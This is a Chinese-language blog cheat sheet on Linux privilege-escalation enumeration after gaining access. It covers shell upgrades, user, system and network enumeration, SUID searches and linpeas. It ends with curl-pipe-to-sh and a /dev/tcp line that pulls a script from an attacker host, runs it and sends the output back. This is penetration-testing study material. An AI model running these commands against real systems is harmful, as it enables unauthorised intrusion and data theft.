Zumpyx's Blog

Linux 提权枚举

linuxprivescenum

Linux Privilege Escalation Enumeration

软件枚举

获取权限后,首先查看目标机器本地有安装哪些程序

$ which python python2 python3 perl java ruby cc gcc make nc ncat netcat vi vim nvim wget curl tftp ftp git tmux screen nohup nmap 2>/dev/null

编译器、解释器

python python2 python3 java perl cc gcc ruby make

编辑器

vi vim nvim nano emacs

上传下载

curl wget git ftp tftp

网络通讯

nc ncat netcat nmap 

守护进程

tmux screen nohup

终端升级

TTY

获取一个完整的 tty 很多命令会需要 tty 才能执行,例如 su、sudo

$ python -c 'import pty;pty.spawn("/bin/bash")'
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ script /dev/null -c /bin/bash
$ /bin/sh -i
$ perl -e 'exec "/bin/sh";'
$ perl: exec "/bin/sh";
$ ruby: exec "/bin/sh"
$ lua: os.execute('/bin/sh')

特殊指令

可以执行像 [TAB]、[↑↓←→]、[Ctrl + C] 等指令。

[Ctrl + Z] 挂起
$ stty raw -echo; fg

高级监听

$ rlwrap nc -lvnp <port>

终端类型变量

影响如 clear、vim 等终端交互操作

$ export TERM=xterm
$ export TERM=xterm-256color

信息收集枚举

用户信息

$ whoami
$ id
$ w
$ who
$ last
$ history
$ cat /home/*/bash_history
$ cat /home/*/zsh_history
$ sudo -l
$ ls -la /etc/passwd /etc/shadow
$ cat /etc/passwd | grep home | grep -v nologin

系统信息

$ uname -a
$ lsb_release -a
$ cat /proc/version
$ cat /etc/issue
$ cat /etc/*release
$ cat /etc/crontab
$ echo $PATH
$ env
$ cat /etc/fstab

网络信息

$ ip addr || ifconfig
$ ip route || route
$ ip neigh
$ arp -a
$ hostnamectl || hostname
$ cat /etc/hosts
$ netstat -lntup
$ netstat -ano
$ lsof -i

特殊权限

$ find / -perm -u=s -type f 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null
$ getcap -r / 2>/dev/null

进程信息

$ ps aux
$ ps axjf
$ top -n 1

自动化枚举

手法

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

$ 代表攻击机器(192.168.56.1) % 代表目标机(192.168.56.101)

$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
$ sudo nc -q 5 -lvnp 2231 < linpeas.sh
$ sudo nv -lnvp 2232 | tee linpeas.log
% cat < /dev/tcp/192.168.56.1/2231 | sh > /dev/tcp/192.168.56.1/2232